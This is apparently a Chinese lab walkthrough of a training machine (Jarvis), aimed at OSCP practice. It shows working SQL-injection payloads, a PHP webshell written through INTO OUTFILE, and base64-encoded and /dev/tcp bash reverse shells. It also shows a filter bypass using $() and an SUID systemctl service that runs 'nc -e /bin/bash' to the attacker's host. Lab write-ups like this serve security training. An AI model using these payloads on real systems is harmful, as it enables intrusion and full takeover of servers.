0x00.前言
。
0x01.信息收集
nmap -sC -sV 10.10.10.143
nmap -p- -min-rate 1000 10.10.10.143
nmap -p 22,80,64999 -sC -sV 1000 10.10.10.143

开放端口:
22 ssh
80 http
64999 http
0x02.SQL注入拿低权限shell
80端口的web页面可以发现SQL注入,可以用sqlmap的-os-shell参数直接获取shell,


考虑到OSCP中并不允许用自动化工具,还是手工复现了一遍,
SQL注入过程:
1.确定字段数
http://10.10.10.143/room.php?cod=4 order by 7
2.查询数据库名
10.10.10.143/room.php?cod=-4 union select 1,2,database(),4,5,6,7
3.读取Apache配置文件以确定网站根目录
http://10.10.10.143/room.php?cod=-4 union select 1,load_file('/etc/apache2/sites-enabled/000-default.conf'),3,4,5,6,7
4.写入Webshell
<?php system($_REQUEST["exec"]);?>
http://10.10.10.143/room.php?cod=-4 union select 1,'<?php system($_REQUEST["exec"]);?>',3,4,5,6,7 into outfile '/var/www/html/shell.php'
再用注入的shell.php反弹一个shell,如下:
shell.php?exec=echo+YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4zLzEyMzQgMD4mMSI%3d|+base64+-d+|+bash //经过了url编码,未编码反弹不了
0x03.OS命令注入拿shell
sudo -l可以看到对这个py脚本有sudo权限,
/var/www/Admin-Utilities/simpler.py:
-rwxr--r-- 1 pepper pepper 4.5K Mar 4 2019 simpler.py
简要分析脚本代码,当执行-p参数时,会发生命令执行,
os.system('ping ' + command)
用户的输入会作为变量command的值拼接在后面,过滤了几个关键字符,
forbidden = ['&', ';', '-', '`', '||', '|']
但没有过滤$和(),所以
1. echo 'bash -c "bash -i >& /dev/tcp/10.10.14.2/7777 0>&1"' > /tmp/shell.sh
2.chmod +x /tmp/shell.sh
3. sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
4.$(/tmp/shell.sh)
这样便会收到一个反弹shell。

0x04.SUID提权
用Linpeas.sh收集信息,

对/bin/systemctl有SUID,但默认情况下systemctl并没有,根据GTFOBins,可以据此提权,
1.
cat >pwn0.service<<EOF
[Service]
Type=notify
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.3 8888'
KillMode=process
Restart=on-failure
RestartSec=42s
[Install]
WantedBy=multi-user.target
EOF
2.
systemctl link /home/pepper/pwn0.service
3.
systemctl enable --now pwn0.service
上面命令创建了一项服务,服务的作用是反弹一个shell给我们,将服务启动,便会收到一个root权限的反弹shell。
0x05.总结
写的比较简洁,图片比较少,因为机器已经打完几天,忘了截图,也不想再打开了,不过重点是思路,思路到位了就OK。
参考文章:
https://0xdf.gitlab.io/2019/11/09/htb-jarvis.html#priv-pepper--root
参考视频:
https://www.youtube.com/watch?v=YHHWvXBfwQ8

Comments | NOTHING